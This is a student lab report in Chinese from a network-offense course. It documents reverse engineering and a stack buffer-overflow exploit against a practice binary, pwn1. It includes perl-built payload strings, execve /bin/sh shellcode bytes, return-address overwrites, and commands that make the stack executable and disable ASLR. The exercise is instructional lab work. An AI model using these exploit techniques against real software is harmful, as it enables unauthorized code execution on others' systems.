2019-2020-2 20175319江野《网络对抗技术》Exp1 PC平台逆向破解

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

• 三个实践内容如下：
  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
• 这几种思路，基本代表现实情况中的攻击目标:
  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码

2 直接修改程序机器指令，改变程序执行流程

• .

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
  • 学习目标：理解可执行文件与机器指令
  • 进阶：掌握ELF文件格式，掌握动态技术

• 下载解压文件pwn1，对其进行反汇编
  objdump -d pwn1，得到
  

• call 8048491是汇编指令

  • 是说这条指令将调用位于地址8048491处的foo函数；
  • 其对应机器指令为e8 d7ffffff，e8即跳转之意。
    • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值

• main函数调用foo，对应机器指令e8 d7ffffff

  • 那我们想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行。
  • 用Windows计算器，直接47d-4ba就能得到补码，是c3ffffff。

• 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

  • 复制pwn1cp pwn1 pwn2，用vim打开pwn2vi pwn2，出现乱码
    
  • 按ESC键，输入:%!xxd将显示模式切换为16进制模式
  • 查找要修改的内容/e8 d7
    
  • 找到后前后的内容和反汇编的对比下，确认地方是正确的,修改d7为c3
  • 转换16进制为原格式:%!xxd -r
  • 保存退出vi:wq

• 再反汇编看一下，call指令是否正确调用getShellobjdump -d pwn2
  

• 运行下改后的代码，会得到shell提示符
  

3 通过构造输入参数，造成BOF攻击，改变程序执行流

• 知识要求：堆栈结构，返回地址
• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
• 进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能

对pwn1进行反汇编objdump -d pwn1 | more

• 注意这个函数getShell，我们的目标是触发这个函数
  
• 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞
  
• 这里读入字符串，但系统只预留了28+4=32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
  
• 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
  

3.2 确认输入字符串哪几个字符会覆盖到返回地址

• 调试pwn1gdb pwn1
  
  EIP的值，是ASCII 1234
  如果输入字符串1111111122222222333333334444444412345678，那1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

3.3 确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，是0804847d。

因此应用输入11111111222222223333333344444444x7dx84x04x08

3.4 构造输入字符串

• 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input的一个文件。x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
• 用16进制查看指令xxd查看input文件的内容是否如预期xxd input
  
• 然后将input的输入，通过管道符|，作为pwn1的输入(cat input; cat) | ./pwn1
  

4. 注入Shellcode并执行

4.1 准备一段Shellcode

• shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
• 以下实践使用Shellcode入门生成的shellcode。如下：
  x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

4.2 准备工作

修改如下设置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

4.3 构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：
  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
• 我们这个buf够放这个shellcode了
• 结构为：nops+shellcode+retaddr。
  • nop一为是了填充，二是作为“着陆区/滑行区”。
  • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
• 构造input_shellcode文件perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
• 打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn1
• 再开另外一个终端，用gdb来调试pwn1这个进程
  • 1.ps -ef | grep pwn1找到pwn1的进程号是14873
    
  • 2.启动gdb调试这个进程
    
  • 3.通过设置断点，来查看注入buf的内存地址disassemble foo
    
    • 断在这，这时注入的东西都大堆栈上了
    • ret完，就跳到我们覆盖的retaddr那个地方了
    • 设置断点break *0x080484ae
    • 在另外一个终端中按下回车，这就是前面为什么不能以x0a来结束 input_shellcode的原因。gdb中按c继续运行
    • 使用info r esp查看栈顶指针所在的位置，并查看改地址存放的数据
      
    • 看到0x01020304了，就是返回地址的位置。shellcode就挨着，所以地址是0xffffd688
  • 4.将返回地址改为0xffffd688
perl -e 'print "A" x 32;print "x88xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

5 实验中遇到的问题

• 问题1：在终端输入./pwn2运行程序时出现错误提示没有那个文件或目录
  
• 解决步骤：我安装的64位kali没有32位运行库，因此运行32位程序会报错
  可以安装32位库:

su root//以root用户身份登陆
dpkg --add-architecture i386
apt-get update
apt-get install libc6:i386

或者通过更新源解决apt-get install lib32z1

6 实验收获与感想

本次实验，我亲自尝试了缓存区溢出攻击，对于溢出攻击有了进一步的理解，也明白了程序出现漏洞是一个很严重的问题，一个小小的bug也可能会造成整个程序遭到破坏乃至被篡改。同时也告诫我以后编写程序时要小心谨慎，编写完以后也要注意检查，边界测试等步骤不可或缺。

7 什么是漏洞？漏洞有什么危害？

漏洞是程序逻辑设计、具体实现或安全策略等方面存在的缺陷,这种缺陷可以被攻击者利用，使他能够在未授权的情况下访问或控制系统，实现窃取数据或者破坏系统的目的。